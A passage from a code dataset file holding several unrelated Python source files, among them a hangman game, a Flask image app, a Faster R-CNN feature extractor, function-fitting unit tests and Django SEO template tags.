tf.float32)","sub_path":"mymnist/mnist_linear_model.py","file_name":"mnist_linear_model.py","file_ext":"py","file_size_in_byte":2023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"569067647","text":"def fileRead(filename):\n file = open(filename)\n return {line.split(',')[0]:{\"state\":line.split(',')[1],\"group\":line.split(',')[2].rstrip()}\n for line in file}\n\nsenateDict = fileRead(\"Senate113.txt\")\nnewSenDict = fileRead(\"NewSen.txt\")\nretiredSenDict = fileRead(\"Retiredsen.txt\")\n\nfor key in senateDict:\n if key in newSenDict.keys():\n del senateDict[key]\nsenateDict.update(retiredSenDict)\n\nRteam = [key for key in senateDict if senateDict[key][\"group\"]=='R']\n\nprint(len(Rteam))\n\n\nrSum = dSum = iSum = 0\nfor key in senateDict:\n if senateDict[key][\"group\"] == 'R':\n rSum +=1\n elif senateDict[key][\"group\"] == 'D':\n dSum+=1\n else:\n iSum +=1\n\nprint(\"(b) Party Affiliations:\",\" Republicans: {}\".format(rSum)\n ,\" Democrats: {}\".format(dSum) ,\" Independents: {}\".format(iSum),sep=\"\\n\")\ntwoStateSum = 0\ntwoStateSumDict = {}\nprevState = senateDict[key][\"state\"]\n# print(dict(sorted(senateDict.items(),key=lambda k:k[1][\"state\"])))\nfor key in dict(sorted(senateDict.items(),key=lambda k:k[1][\"state\"])):\n if twoStateSumDict.get(senateDict[key][\"state\"],-1) == -1:\n twoStateSumDict[senateDict[key][\"state\"]] = 1\n else:\n twoStateSumDict[senateDict[key][\"state\"]] += twoStateSumDict[senateDict[key][\"state\"]]\nfor key in twoStateSumDict:\n if twoStateSumDict[key] == 2 :\n twoStateSum +=1\nprint(\"\\n(c) state number that has two person is {} states \".format(twoStateSum))\nprint(\"\\n(d) \",end=\"\")\nstateName = input(\"Enter the name of a state: \")\nfor key in senateDict:\n if senateDict[key][\"state\"] == stateName:\n print(key)\n","sub_path":"Ch5/proj5_4_2.py","file_name":"proj5_4_2.py","file_ext":"py","file_size_in_byte":1609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"288473977","text":"from flaskapp.recommend.final_freelancers.jobSimilarity import Similarity\nfrom flaskapp.recommend.freelancers_for_jobs import recommend_freelancers as freelancers\n\nimport pandas as pd \nimport string\nimport os, sys\n\n\nfileDir = os.path.dirname(os.path.dirname(os.path.dirname(__file__)))\n#fileDir = os.path.join(fileDir, '..')\nfilePath = os.path.abspath(os.path.join(fileDir, 'data/jobs.csv'))\nlogPath = os.path.abspath(os.path.join(fileDir, 'logs'))\nsys.path.insert(0, filePath)\nsys.path.insert(0, logPath)\njobs_df = pd.read_csv(filePath)\n\n\ndef unamesFromLinks(links):\n #print('inner-called')\n #print(links)\n if isinstance(links, list):\n s = ' '.join(links)\n else:\n s = links\n table = str.maketrans(dict.fromkeys(string.punctuation))\n new_s = s.translate(table)\n #new_s = new_s.replace('\\n', ' ')\n #new_s = new_s.replace(' ', ' ')\n s = [x for x in s.lower().split() if len(x) > 1]\n sub = []\n for i in s:\n if ('[' in i):\n sub.append(i[35:-2])\n elif (']' in i):\n sub.append(i[34:-2])\n else:\n sub.append(i[34:-2])\n return sub\n\n\ndef getInvitedFls(jobId):\n #print('outer-called')\n links = list(jobs_df['Link_of_invited_freelancers'].values)[jobId-1]\n #print(links) \n return unamesFromLinks(links)\n\n\ndef getHiredFls(jobId):\n #print('outer-called')\n links = list(jobs_df['Link_of_hired_freelancers'].values)[jobId-1]\n #print(links) \n return unamesFromLinks(links)\n \n\ndef getResults(jobId, n):\n #running job to job similarity \n similarity = Similarity()\n similar_jobs = similarity.get_similar_jobs(jobId, 1, 1, 1, 10)\n #print('Similar_Jobs: ',similar_jobs)\n fls_invited = []\n fls_hired = []\n\n #generate bucket 1 and 2 of freelancers based on job-job similarity\n for job in similar_jobs:\n fls_hired += getHiredFls(job)\n fls_hired = [x for x in fls_hired if x]\n fls_invited += getInvitedFls(job)\n fls_invited = [x for x in fls_invited if x]\n \n #generate bucket 3 from cotent-based matching\n similarities_on = ['Skills']\n weights = [30, 20, 50]\n freelancer_recommendations = freelancers.Implementation(jobId, similarities_on, weights)\n fls_content = freelancer_recommendations.pick_top_n(n)\n\n return fls_hired, fls_invited, fls_content, similar_jobs\n\n\n\n\n","sub_path":"app/flaskapp/recommend/final_freelancers/results.py","file_name":"results.py","file_ext":"py","file_size_in_byte":2376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"429048619","text":"from flask import Flask, render_template, request, send_file, url_for\nfrom werkzeug.utils import secure_filename\nimport numpy\nimport calendar\nimport time\nfrom custom_util import *\n\napp=Flask(__name__)\n\n# get running path\nbase_dir = os.path.dirname(__file__)\n\n@app.route(\"/\")\ndef index():\n return render_template(\"index.html\")\n\n@app.route(\"/success\", methods=['POST'])\ndef success():\n if request.method=='POST':\n filestr=request.files[\"file\"]\n\n #convert string data to numpy array\n npimg = numpy.frombuffer(filestr.read(), numpy.uint8)\n\n # convert numpy array to image\n img = cv2.imdecode(npimg, cv2.COLOR_RGB2BGR)\n\n image_predicted = predict_Luna_Ju(img)\n\n file_to_save = str(calendar.timegm(time.gmtime()))\n\n cv2.imwrite(os.path.join(base_dir, 'static', file_to_save + '.jpg'), image_predicted)\n\n image_file = url_for('static', filename=file_to_save + '.jpg')\n\n\n return render_template(\"success.html\", img = image_file)\n\n\nif __name__ == '__main__':\n app.run(port=80)","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1046,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"444331844","text":"#!/usr/bin/env python3\nimport csv\nimport sys\n\ninput_file = sys.argv[1]\noutput_file = sys.argv[2]\n\nwith open(input_file, 'r', newline='') as csv_in_file:\n\twith open(output_file, 'w', newline='') as csv_out_file:\n\t\tfilereader = csv.reader(csv_in_file, delimiter=',')\n\t\tfilewriter = csv.writer(csv_out_file, delimiter='\\t')\n\t\tfor row_list in filereader:\n\t\t\tprint(row_list)\n\t\t\tfilewriter.writerow(row_list)\n\n\n# delimiter는 기본값, 입력하지 않아도 된다. 만약 세미콜론(;)이나 탭(\\t)으로 구분된 입력파일을 읽고 싶으면 입력. 즉, csv 모듈은 csv 외에 다른 형태도 읽을 수 있다는 것. 이번에는 \\t으로 변환하여 출력\n\n# 교재에서는 이 경우 ,가 포함된 자료를 구분한다고 하였으나 실제로는 전혀 그렇지 않았다.\n\n# python 2csv_reader_parsing_and_write.py supplier_data_with_comma.csv pandas_output.csv\n","sub_path":"Kwonhee/파이썬 데이터 분석 입문/csv/2csv_reader_parsing_and_write.py","file_name":"2csv_reader_parsing_and_write.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"540632899","text":"import re\nimport random\n\n\ndef easy_words(word_list):\n \"\"\"\n Returns a filtered version of the word list with words only containing\n 4-6 characters.\n \"\"\"\n\n easy = []\n\n for word in word_list:\n if len(word) >=4 and len(word) <=6:\n easy.append(word)\n return(easy)\n\n\ndef medium_words(word_list):\n \"\"\"\n Returns a filtered version of the word list with words only containing\n 6-8 characters.\n \"\"\"\n\n medium = []\n\n for word in word_list:\n if len(word) >=6 and len(word) <=8:\n medium.append(word)\n return(medium)\n\n\ndef hard_words(word_list):\n \"\"\"\n Returns a filtered version of the word list with words only containing\n 8+ characters.\n \"\"\"\n\n hard = []\n\n for word in word_list:\n if len(word) >=8:\n hard.append(word)\n return(hard)\n\n\ndef random_word(word_list):\n \"\"\"\n Returns a random word from the word list.\n \"\"\"\n\n return random.choice(word_list)\n\ndef display_word(word, guesses):\n \"\"\"\n Returns a string that including blanks (_) and letters from the given word,\n filling in letters based upon the list of guesses.\n\n There should be spaces between each blank _ and each letter. Each letter\n should be capitalized for display.\n\n For example, if the word is BOMBARD and the letters guessed are a, b,\n and d, this function should return 'B _ _ B A _ D'.\n \"\"\"\n\n display = ''\n\n for choice in word:\n if choice in guesses:\n display += choice.upper()\n else:\n display += '_'\n if len(display) < len(word)*2-1:\n display += ' '\n return display\n\n\ndef is_word_complete(word, guesses):\n \"\"\"\n Returns True if the list of guesses covers every letter in the word,\n otherwise returns False.\n \"\"\"\n\n for choice in word:\n if choice not in guesses:\n return False\n return True\n\n\ndef main():\n \"\"\"\n Runs when the program is called from the command-line.\n\n 1. Prompts the user for a difficulty level\n 2. Sets up the game based upon the difficulty level\n 3. Performs the game loop, consisting of:\n a. Printing the word in progress, using _ for unguessed letters\n b. Printing the number of guesses remaining\n c. Printing the letters that have been guessed so far\n d. Prompting the user for a letter to guess\n 4. Finishing the game and displaying whether the user has won or lost\n 5. Giving the user the option to play again\n \"\"\"\n\n play_again = True\n while play_again:\n print(\"Time to play\")\n while True:\n difficulty = input(\"What level would you like to play? Your choices are - easy, medium, or hard\\n>>> \").lower()\n if difficulty in ('easy', 'e', 'medium', 'med', 'm', 'hard', 'h'):\n break\n else:\n print(\"invalid\")\n\n with open ('/usr/share/dict/words') as o:\n if difficulty in ('e', 'easy'):\n mystery = random_word(easy_words(o.read().split()))\n elif difficulty in ('h', 'hard'):\n mystery = random_word(hard_words(o.read().split()))\n else:\n mystery = random_word(medium_words(o.read().split()))\n\n guesses = []\n wrong = -1\n\n while wrong < 8:\n\n print(\"Here's your word \", display_word(mystery, guesses))\n if wrong > -1:\n print(\"Your choice is\", end=\" \")\n for i in guesses:\n print(i, end = \" \")\n print('')\n else:\n wrong += 1\n\n while True:\n guess = input(\"Select a letter - there are \" + str(8-wrong) + \" of 8 wrong guesses left\\n>>> \")\n if guess in guesses:\n print(\"Guess again\")\n elif len(guess) == 1 and guess.isalpha():\n guesses.append(guess)\n break\n else:\n print(\"invalid\")\n\n if mystery.find(guess) == -1:\n wrong += 1\n\n if (is_word_complete(mystery, guesses)):\n print(\"You successfully guessed the word\", mystery.upper())\n break\n\n if not is_word_complete(mystery, guesses):\n print(\"Game over - the word is\", mystery.upper())\n\n while True:\n again = input(\"You can try again - just type 'yes'\").lower()\n if again in ('yes', 'no'):\n break\n else:\n print(\"Thanks for playing\")\n\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"mystery_word.py","file_name":"mystery_word.py","file_ext":"py","file_size_in_byte":4578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"33071206","text":"from Jumpscale import j\n\n\nclass BuilderCmake(j.builder.system._BaseClass):\n NAME = \"cmake\"\n\n def _init(self):\n self.src_dir = \"{DIR_TEMP}/cmake\"\n\n def build(self):\n j.core.tools.dir_ensure(self.src_dir)\n cmake_url = \"https://cmake.org/files/v3.8/cmake-3.8.2.tar.gz\"\n j.builder.tools.file_download(cmake_url, to=self.src_dir, overwrite=False, expand=True, removeTopDir=True)\n cmd = (\n \"\"\"\n cd %s && ./bootstrap && make\n \"\"\"\n % self.src_dir\n )\n j.sal.process.execute(cmd)\n self._done_set(\"build\")\n return\n\n def install(self):\n if self.isInstalled():\n return\n if not self._done_get(\"build\"):\n self.build()\n cmd = (\n \"\"\"\n cd %s && make install\n \"\"\"\n % self.src_dir\n )\n j.sal.process.execute(cmd)\n return\n","sub_path":"Jumpscale/builder/libs/BuilderCmake.py","file_name":"BuilderCmake.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"131248341","text":"#!/usr/bin/env python \n# -*- coding:utf-8 -*-\n\n# !/usr/bin/env python\n\n# --------------------------------------------------------\n# Tensorflow Faster R-CNN\n# Licensed under The MIT License [see LICENSE for details]\n# Written by Xinlei Chen, based on code from Ross Girshick\n# --------------------------------------------------------\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport _init_paths\nfrom model.config import cfg\nfrom model.test import im_detect\nfrom model.test import im_detect_feat\n\nfrom layer_utils.roi_layers import nms\n\nfrom utils.timer import Timer\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os, cv2\nimport argparse\nimport json\n\nfrom nets.vgg16 import vgg16\nfrom nets.resnet_v1 import resnetv1, resnet101\nfrom multiprocessing import Process\n\nimport torch\n\nimport pdb\n\nCLASSES = ('__background__', 'aeroplane', 'bicycle', 'bird', 'boat', 'bottle',\n 'bus', 'car', 'cat', 'chair', 'cow', 'diningtable', 'dog', 'horse',\n 'motorbike', 'person', 'pottedplant', 'sheep', 'sofa', 'train',\n 'tvmonitor')\n\nNETS = {\n 'vgg16': ('vgg16_faster_rcnn_iter_%d.pth',),\n 'res101': ('res101_faster_rcnn_iter_%d.pth',)\n}\nDATASETS = {\n 'pascal_voc': ('voc_2007_trainval',),\n 'pascal_voc_0712': ('voc_2007_trainval+voc_2012_trainval',)\n}\n\nos.environ['CUDA_VISIBLE_DEVICES'] = '3'\n\n\ndef vis_detections(im, class_name, dets, thresh=0.5):\n \"\"\"Draw detected bounding boxes.\"\"\"\n inds = np.where(dets[:, -1] >= thresh)[0]\n if len(inds) == 0:\n return\n\n im = im[:, :, (2, 1, 0)]\n fig, ax = plt.subplots(figsize=(12, 12))\n ax.imshow(im, aspect='equal')\n for i in inds:\n bbox = dets[i, :4]\n score = dets[i, -1]\n\n ax.add_patch(\n plt.Rectangle((bbox[0], bbox[1]),\n bbox[2] - bbox[0],\n bbox[3] - bbox[1],\n fill=False,\n edgecolor='red',\n linewidth=3.5))\n ax.text(\n bbox[0],\n bbox[1] - 2,\n '{:s} {:.3f}'.format(class_name, score),\n bbox=dict(facecolor='blue', alpha=0.5),\n fontsize=14,\n color='white')\n\n ax.set_title(\n ('{} detections with '\n 'p({} | box) >= {:.1f}').format(class_name, class_name, thresh),\n fontsize=14)\n plt.axis('off')\n plt.tight_layout()\n plt.draw()\n\n\ndef demo(net, image_name):\n \"\"\"Detect object classes in an image using pre-computed object proposals.\"\"\"\n\n # Load the demo image\n im_file = os.path.join(cfg.DATA_DIR, 'demo', image_name)\n im = cv2.imread(im_file)\n\n # Detect all object classes and regress object bounds\n timer = Timer()\n timer.tic()\n scores, boxes = im_detect(net, im)\n timer.toc()\n print('Detection took {:.3f}s for {:d} object proposals'.format(\n timer.total_time(), boxes.shape[0]))\n\n # Visualize detections for each class\n CONF_THRESH = 0.8\n NMS_THRESH = 0.3\n for cls_ind, cls in enumerate(CLASSES[1:]):\n cls_ind += 1 # because we skipped background\n cls_boxes = boxes[:, 4 * cls_ind:4 * (cls_ind + 1)]\n cls_scores = scores[:, cls_ind]\n dets = np.hstack((cls_boxes,\n cls_scores[:, np.newaxis])).astype(np.float32)\n keep = nms(\n torch.from_numpy(cls_boxes), torch.from_numpy(cls_scores),\n NMS_THRESH)\n dets = dets[keep.numpy(), :]\n vis_detections(im, cls, dets, thresh=CONF_THRESH)\n\n\ndef parse_args():\n \"\"\"Parse input arguments.\"\"\"\n parser = argparse.ArgumentParser(\n description='Tensorflow Faster R-CNN demo')\n parser.add_argument(\n '--net',\n dest='demo_net',\n help='Network to use [vgg16 res101]',\n choices=NETS.keys(),\n default='res101')\n parser.add_argument(\n '--dataset',\n dest='dataset',\n help='Trained dataset [pascal_voc pascal_voc_0712]',\n choices=DATASETS.keys(),\n default='pascal_voc_0712')\n args = parser.parse_args()\n\n return args\n\n\ndef load_image_ids(split_name):\n ''' Load a list of (path,image_id tuples). Modify this to suit your data locations. '''\n split = []\n base_dir = '/DATA/disk1/zhangming6/Datasets/AI_Challenger_2017/caption/raw_data/train_20170902'\n\n if split_name == 'coco_test2014':\n with open('/data/coco/annotations/image_info_test2014.json') as f:\n data = json.load(f)\n for item in data['images']:\n image_id = int(item['id'])\n filepath = os.path.join('/data/test2014/', item['file_name'])\n split.append((filepath, image_id))\n elif split_name == 'coco_test2015':\n with open('/data/coco/annotations/image_info_test2015.json') as f:\n data = json.load(f)\n for item in data['images']:\n image_id = int(item['id'])\n filepath = os.path.join('/data/test2015/', item['file_name'])\n split.append((filepath, image_id))\n elif split_name == 'genome':\n with open('/data/visualgenome/image_data.json') as f:\n for item in json.load(f):\n image_id = int(item['image_id'])\n filepath = os.path.join('/data/visualgenome/', item['url'].split('rak248/')[-1])\n split.append((filepath, image_id))\n elif split_name == 'chinese_train':\n with open(base_dir + '/caption_train_annotations_20170902.json') as f:\n for item in json.load(f):\n image_id = item['image_id']\n filepath = os.path.join(base_dir + '/caption_train_images_20170902', image_id)\n split.append((filepath, image_id))\n elif split_name == 'chinese_val':\n with open(base_dir + '/caption_validation_annotations_20170910.json') as f:\n for item in json.load(f):\n image_id = item['image_id']\n filepath = os.path.join(base_dir + '/caption_validation_images_20170910', image_id)\n split.append((filepath, image_id))\n elif split_name == 'chinese_test1':\n with open(base_dir + '/caption_test1_annotations_20170923.json') as f:\n for item in json.load(f):\n image_id = item['image_id']\n filepath = os.path.join(base_dir + '/caption_test1_images_20170923', image_id)\n split.append((filepath, image_id))\n else:\n print\n 'Unknown split'\n return split\n\n\ndef feature_gen(net, image_name):\n \"\"\"Detect object classes in an image using pre-computed object proposals.\"\"\"\n\n # Load the demo image\n im_file = os.path.join(cfg.DATA_DIR, 'demo', image_name)\n im = cv2.imread(im_file)\n\n scores, boxes, pool5 = im_detect(net, im)\n\n CONF_THRESH = 0.8\n NMS_THRESH = 0.3\n for cls_ind, cls in enumerate(CLASSES[1:]):\n cls_ind += 1 # because we skipped background\n cls_boxes = boxes[:, 4 * cls_ind:4 * (cls_ind + 1)]\n cls_scores = scores[:, cls_ind]\n dets = np.hstack((cls_boxes,\n cls_scores[:, np.newaxis])).astype(np.float32)\n keep = nms(\n torch.from_numpy(cls_boxes), torch.from_numpy(cls_scores),\n NMS_THRESH)\n dets = dets[keep.numpy(), :]\n pool5_select = pool5[keep.numpy(), :]\n # path = os.path.abspath(os.path.dirname(__file__)+'/../data/test/')\n path = 'demo_res/'\n np.save(path + 'fc.npy', pool5_select.mean(0))\n np.savez_compressed(path + 'att.npz', feat=pool5_select)\n np.save(path + 'box.npy', dets)\n\n print('Done!')\n\n\ndef feature_gen_multi(net, image_list, outpath):\n \"\"\"Detect object classes in an image using pre-computed object proposals.\"\"\"\n\n count = 0\n sum = len(image_list)\n for img_file, img_id in image_list:\n im_file = os.path.join(img_file)\n im = cv2.imread(im_file)\n\n scores, boxes, pool5 = im_detect(net, im)\n\n CONF_THRESH = 0.8\n NMS_THRESH = 0.3\n for cls_ind, cls in enumerate(CLASSES[1:]):\n cls_ind += 1 # because we skipped background\n cls_boxes = boxes[:, 4 * cls_ind:4 * (cls_ind + 1)]\n cls_scores = scores[:, cls_ind]\n dets = np.hstack((cls_boxes,\n cls_scores[:, np.newaxis])).astype(np.float32)\n keep = nms(\n torch.from_numpy(cls_boxes), torch.from_numpy(cls_scores),\n NMS_THRESH)\n dets = dets[keep.numpy(), :]\n pool5_select = pool5[keep.numpy(), :]\n\n np.save(outpath + 'chinese_bu_fc/' + img_id + '.npy', pool5_select.mean(0))\n np.savez_compressed(outpath + 'chinese_bu_att/' + img_id + '.npz', feat=pool5_select)\n np.save(outpath + 'chinese_bu_box/' + img_id + '.npy', dets)\n\n count += 1\n if count % 100 == 0:\n print('{}/{}:{:.2f}%'.format(count, sum, (count / sum) * 100))\n\n print('Done!')\n\n\ndef single_img(net):\n im_names = [\n 'a2af7deaa01abca741477820bbf37b340df02a88.jpg'\n # 'test_wave.jpg'\n ]\n for im_name in im_names:\n print('*' * 26)\n print('Demo for data/demo/{}'.format(im_name))\n # demo(net, im_name)\n feature_gen(net, im_name)\n\n\ndef multi_img(net):\n split_num = 2\n image_ids = load_image_ids('chinese_train')\n # Split image ids between gpus\n image_ids_split = [image_ids[i::split_num] for i in range(split_num)]\n\n procs = []\n outfile = '/DATA/disk1/zhangming6/Datasets/AI_Challenger_2017/caption/bottom_up_zm/'\n\n multi_process = False\n if multi_process: # 暂不可用\n for i in range(split_num):\n p = Process(target=feature_gen_multi,\n args=(i, net, image_ids_split[i], outfile))\n p.daemon = True\n p.start()\n procs.append(p)\n for p in procs:\n p.join()\n else:\n feature_gen_multi(net, image_ids, outfile)\n\n\nif __name__ == '__main__':\n cfg.TEST.HAS_RPN = True # Use RPN for proposals\n args = parse_args()\n\n # model path\n demonet = args.demo_net\n dataset = args.dataset\n saved_model = os.path.join(\n 'output', demonet, DATASETS[dataset][0], 'default',\n NETS[demonet][0] % (70000 if dataset == 'pascal_voc' else 110000))\n\n if not os.path.isfile(saved_model):\n raise IOError(\n ('{:s} not found.\\nDid you download the proper networks from '\n 'our server and place them properly?').format(saved_model))\n\n # load network\n\n if demonet == 'vgg16':\n net = vgg16()\n elif demonet == 'res101':\n net = resnetv1(num_layers=101)\n else:\n raise NotImplementedError\n net.create_architecture(21, tag='default', anchor_scales=[8, 16, 32])\n\n net.load_state_dict(\n torch.load(saved_model, map_location=lambda storage, loc: storage))\n\n # net = resnet101(True)\n\n net.eval()\n if not torch.cuda.is_available():\n net._device = 'cpu'\n net.to(net._device)\n\n print('Loaded network {:s}'.format(saved_model))\n\n # single_img(net)\n multi_img(net)\n","sub_path":"tools/chinese_feature_gen.py","file_name":"chinese_feature_gen.py","file_ext":"py","file_size_in_byte":11110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"424505225","text":"# Licensed under a 3-clause BSD style license - see LICENSE.rst\n# -*- coding: utf-8 -*-\n\"\"\"Test desiutil.funcfits.\n\"\"\"\nimport unittest\nimport numpy as np\nfrom warnings import catch_warnings, simplefilter\nfrom ..funcfits import func_fit, func_val, iter_fit, mk_fit_dict\n\n\nclass TestFuncFits(unittest.TestCase):\n \"\"\"Test desiutil.funcfits\n \"\"\"\n\n @classmethod\n def setUpClass(cls):\n pass\n\n @classmethod\n def tearDownClass(cls):\n pass\n\n def test_mk_fit_dict(self):\n \"\"\"Test fit dict\n \"\"\"\n fdict = mk_fit_dict(np.arange(10), 5, 'legendre', xmin=0., xmax=5000.)\n assert isinstance(fdict, dict)\n\n def test_poly_fit(self):\n \"\"\"Test polynomial fit.\n \"\"\"\n x = np.linspace(0, np.pi, 50)\n y = np.sin(x)\n # Fit\n dfit = func_fit(x, y, 'polynomial', 3)\n x2 = np.linspace(0, np.pi, 100)\n y2 = func_val(x2, dfit)\n np.testing.assert_allclose(y2[50], 0.97854984428713754)\n\n def test_legendre_fit(self):\n \"\"\"Test Legendre fit.\n \"\"\"\n # Generate data\n x = np.linspace(0, np.pi, 50)\n y = np.sin(x)\n # Fit\n dfit = func_fit(x, y, 'legendre', 4)\n x2 = np.linspace(0, np.pi, 100)\n y2 = func_val(x2, dfit)\n np.testing.assert_allclose(y2[50], 0.99940823486206976)\n\n def test_cheby_fit(self):\n \"\"\"Test Chebyshev fit.\n \"\"\"\n # Generate data\n x = np.linspace(0, np.pi, 50)\n y = np.sin(x)\n # Fit\n dfit = func_fit(x, y, 'chebyshev', 4)\n x2 = np.linspace(0, np.pi, 100)\n y2 = func_val(x2, dfit)\n np.testing.assert_allclose(y2[50], 0.99940823486206942)\n\n def test_fit_with_sigma(self):\n \"\"\"Test fit with sigma.\n \"\"\"\n # Generate data\n x = np.linspace(0, np.pi, 50)\n y = np.sin(x)\n sigy = np.ones_like(y)*0.1\n sigy[::2] = 0.15\n # Fit\n dfit = func_fit(x, y, 'legendre', 4, w=1./sigy)\n x2 = np.linspace(0, np.pi, 100)\n y2 = func_val(x2, dfit)\n np.testing.assert_allclose(y2[50], 0.99941056289796115)\n\n def test_func_fit_other(self):\n \"\"\"Test corner cases in fitting.\n \"\"\"\n # Generate data\n x = np.linspace(0, np.pi, 50)\n y = np.sin(x)\n # Fit\n with self.assertRaises(ValueError):\n dfit = func_fit(x, y, 'fourier', 4)\n dfit = func_fit(x, y, 'polynomial', 3)\n dfit['func'] = 'fourier'\n x2 = np.linspace(0, np.pi, 100)\n with self.assertRaises(ValueError):\n y2 = func_val(x2, dfit)\n x = np.array([1.0])\n y = np.array([2.0])\n with catch_warnings(record=True) as w:\n # simplefilter(\"always\")\n dfit = func_fit(x, y, 'polynomial', 1)\n self.assertEqual(len(w), 1)\n self.assertIn('conditioned', str(w[-1].message))\n self.assertEqual(dfit['xmin'], -1.0)\n self.assertEqual(dfit['xmax'], 1.0)\n\n def test_iterfit(self):\n \"\"\"Test iter fit with Legendre.\n \"\"\"\n # Generate data\n x = np.linspace(0, np.pi, 100)\n y = np.sin(x)\n #\n y[50] = 3.\n # Fit\n dfit, mask = iter_fit(x, y, 'legendre', 4)\n self.assertEqual(mask.sum(), 1)\n x2 = np.linspace(0, np.pi, 100)\n y2 = func_val(x2, dfit)\n np.testing.assert_allclose(y2[50], 0.99941444872371643)\n\n def test_iterfit2(self):\n \"\"\"Test iter fit with some special cases.\n \"\"\"\n # Generate data\n x = np.linspace(0, np.pi, 100)\n y = np.sin(x)\n #\n y[50] = 3.\n # Fit\n with catch_warnings(record=True) as w:\n # simplefilter(\"always\")\n dfit, mask = iter_fit(x, y, 'legendre', 4, forceimask=True)\n self.assertEqual(len(w), 1)\n self.assertEqual(str(w[-1].message),\n \"Initial mask cannot be enforced -- \" +\n \"no initital mask supplied\")\n x2 = np.linspace(0, np.pi, 100)\n y2 = func_val(x2, dfit)\n np.testing.assert_allclose(y2[50], 0.99941444872371643)\n","sub_path":"py/desiutil/test/test_funcfits.py","file_name":"test_funcfits.py","file_ext":"py","file_size_in_byte":4145,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"265443078","text":"from django import template\nfrom django.utils.safestring import mark_safe\nfrom django.template.loader import render_to_string\n#from django.core.cache import cache\nfrom django.template.defaultfilters import escape\n\n\nfrom modules.templatetags.module_filters import truncate_chars_by_words\nfrom django.utils.html import strip_tags\n\nregister = template.Library()\n\n\n@register.simple_tag(takes_context=True)\ndef list_pages(context):\n website = context['request'].website\n pages = website.get_pages()\n return mark_safe(render_to_string(\"pages/list_pages.html\", {\"pages\": pages}))\n\n\ndef get_meta_content(meta_content, modules, context):\n \"\"\"To-do: write docs string here\"\"\"\n if not meta_content:\n meta_content = ''\n article_meta_variables = [':articleTitle', ':articleDescription', ':articleThumb']\n topic_meta_variables = [':topicThumb', ':topicName', ':TopicDescription']\n image_meta_variables = [':imageURL', ':imageDescription', ':imageIndex']\n all_meta_variables = [':currentURL'] + article_meta_variables + topic_meta_variables + image_meta_variables\n\n for meta_variable in all_meta_variables:\n if meta_content.find(meta_variable) > -1:\n for module in modules:\n # Article related meta\n if meta_variable in article_meta_variables and module.module_type == \"article\":\n article = module.render_article(context, render=False)\n if article:\n if meta_variable == ':articleTitle':\n meta_content = meta_content.replace(':articleTitle', article.title)\n if meta_variable == ':articleDescription':\n meta_content = meta_content.replace(':articleDescription',\n escape(truncate_chars_by_words(strip_tags(article.description), 500)))\n if meta_variable == ':articleThumb':\n meta_content = meta_content.replace(':articleThumb', article.thumbnail)\n break\n # Topic related meta\n if meta_variable in topic_meta_variables and module.module_type == \"topic-name\":\n topic = module.render_topic_name(context, render=False)\n if topic:\n if meta_variable == ':topicName':\n meta_content = meta_content.replace(':topicName', topic.name)\n if meta_variable == ':TopicDescription':\n meta_content = meta_content.replace(':TopicDescription',\n escape(truncate_chars_by_words(strip_tags(topic.description), 500)))\n if meta_variable == ':topicThumb':\n meta_content = meta_content.replace(':topicThumb', topic.image_url)\n break\n\n # Image related meta\n if meta_variable in image_meta_variables and module.module_type == \"image-gallery\":\n image_gallery_data = module.render_image_gallery(context, render=False)\n try:\n image = image_gallery_data['image']\n if meta_variable == ':imageURL':\n meta_content = meta_content.replace(':imageURL', image.link)\n if meta_variable == ':imageDescription':\n meta_content = meta_content.replace(':imageDescription',\n escape(truncate_chars_by_words(strip_tags(image.description), 500)))\n if meta_variable == ':imageIndex':\n meta_content = meta_content.replace(':imageIndex', str(image.order))\n except:\n pass\n break\n\n # set current url\n if meta_variable == ':currentURL':\n meta_content = meta_content.replace(':currentURL', context['request'].build_absolute_uri())\n return meta_content\n\n\n@register.simple_tag(takes_context=True)\ndef page_seo(context):\n page = context['page']\n modules = context['modules']\n cache_key = page.get_cache_key(context, 'seo')\n page_meta_html = page.get_cache(context, cache_key=cache_key)\n if not page_meta_html:\n page_metas = \"\"\n for meta in page.metas.all():\n meta_name = meta.name.strip()\n meta_content = meta.content.strip()\n if meta_content:\n meta_content = get_meta_content(meta_content, modules, context)\n page_metas += '\\n'\n page_meta_html = page_metas\n page.set_cache(context, page_meta_html, cache_key=cache_key)\n\n return mark_safe(page_meta_html)\n\n\n@register.simple_tag(takes_context=True)\ndef page_title(context):\n \"\"\"\n get page title meta\n it set a context variable context['page_title_html']\n if its get a title then it will set the context variable\n if not then nothings\n\n Example :\n {% page_title %}\n {% if page_title_html %}\n {{ page_title_html }}\n {% else %}\n EntertaiNow.com News Network\n {% endif %}\n\n \"\"\"\n page = context['page']\n modules = context['modules']\n page_title = \"\"\n if page.page_title:\n page_title = page.page_title\n cache_key = page.get_cache_key(context, 'title')\n html_title = page.get_cache(context, cache_key=cache_key)\n if not html_title:\n page_title = get_meta_content(page_title, modules, context)\n page.set_cache(context, page_title, cache_key=cache_key)\n context['page_title_html'] = page_title\n else:\n context['page_title_html'] = html_title\n else:\n context['page_title_html'] = page_title\n return \"\"","sub_path":"pages/templatetags/page_tags.py","file_name":"page_tags.py","file_ext":"py","file_size_in_byte":5860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
